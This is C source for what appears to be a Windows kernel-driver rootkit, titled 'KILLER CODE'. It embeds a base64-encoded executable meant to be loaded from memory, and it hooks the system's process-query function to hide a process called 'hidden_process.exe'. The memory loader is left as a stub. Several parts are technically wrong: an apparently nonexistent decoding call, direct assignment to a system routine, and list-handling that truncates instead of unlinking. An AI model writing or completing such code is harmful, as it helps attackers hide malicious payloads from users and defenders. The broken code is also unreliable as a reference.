KILLER CODE

#include <ntddk.h>
#include <ntstrsafe.h>
// Define the function prototype for ZwQuerySystemInformation
typedef NTSTATUS (NTAPI *ZwQuerySystemInformation_t)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);
// Original system function to query system information
ZwQuerySystemInformation_t OriginalZwQuerySystemInformation = NULL;
// Base64 string of the executable (you would replace this with your actual base64 string)
const char* base64ExeString = "YOUR_BASE64_STRING_HERE"; 
// Function to decode Base64 string
NTSTATUS Base64Decode(const char* base64, PVOID* outBuffer, PULONG outSize) {
    ULONG length = 0;
    UCHAR* decodedData = NULL;
    NTSTATUS status = RtlDecodeBase64String(base64, &length, NULL);
    if (NT_SUCCESS(status)) {
        decodedData = (UCHAR*)ExAllocatePool(NonPagedPool, length);
        if (decodedData) {
            status = RtlDecodeBase64String(base64, &length, decodedData);
            if (NT_SUCCESS(status)) {
                *outBuffer = decodedData;
                *outSize = length;
            } else {
                ExFreePool(decodedData);
            }
        } else {
            status = STATUS_INSUFFICIENT_RESOURCES;
        }
    }
    return status;
}
// Function to load the decoded executable into memory
NTSTATUS LoadExeFromMemory(PVOID buffer, ULONG size) {
    // In a real-world scenario, you would use functions like
    // ZwCreateSection, ZwMapViewOfSection, and ZwCreateProcess
    // to execute the code directly from memory. This part is left
    // abstract as it involves complex kernel-mode operations.
    DbgPrint("Loaded executable into memory with size: %d\n", size);
    return STATUS_SUCCESS;
}
// Hooked ZwQuerySystemInformation to hide the process
NTSTATUS NTAPI HookedZwQuerySystemInformation(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
) {
    NTSTATUS status = OriginalZwQuerySystemInformation(
        SystemInformationClass,
        SystemInformation,
        SystemInformationLength,
        ReturnLength
    );
    if (status == STATUS_SUCCESS) {
        SYSTEM_PROCESS_INFORMATION* info = (SYSTEM_PROCESS_INFORMATION*)SystemInformation;
        // Iterate through processes and hide the target process (e.g., "hidden_process.exe")
        while (info->NextEntryOffset) {
            if (wcscmp(info->ImageName.Buffer, L"hidden_process.exe") == 0) {
                // Skip this process, effectively hiding it
                info->NextEntryOffset = 0;
            }
            info = (SYSTEM_PROCESS_INFORMATION*)((PUCHAR)info + info->NextEntryOffset);
        }
    }
    return status;
}
// Driver unload function
void DriverUnload(PDRIVER_OBJECT pDriverObject) {
    // Restore the original system call
    if (OriginalZwQuerySystemInformation) {
        InterlockedExchangePointer(
            (PVOID*)&ZwQuerySystemInformation, 
            (PVOID)OriginalZwQuerySystemInformation
        );
    }
    DbgPrint("Driver unloaded\n");
}
// Driver entry function
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath) {
    PVOID exeBuffer = NULL;
    ULONG exeSize = 0;
    NTSTATUS status = Base64Decode(base64ExeString, &exeBuffer, &exeSize);
    if (NT_SUCCESS(status)) {
        DbgPrint("Base64 decoded successfully. Size: %d bytes\n", exeSize);
         // Load and execute the decoded executable in memory
        status = LoadExeFromMemory(exeBuffer, exeSize);
        
        if (!NT_SUCCESS(status)) {
            DbgPrint("Failed to load executable from memory.\n");
        }
    } else {
        DbgPrint("Base64 decoding failed. Status: 0x%x\n", status);
    }

    // Hook the system call for process listing (ZwQuerySystemInformation)
    OriginalZwQuerySystemInformation = (ZwQuerySystemInformation_t)ZwQuerySystemInformation;
    ZwQuerySystemInformation = HookedZwQuerySystemInformation;

    pDriverObject->DriverUnload = DriverUnload;

    DbgPrint("Driver loaded\n");

    return STATUS_SUCCESS;
}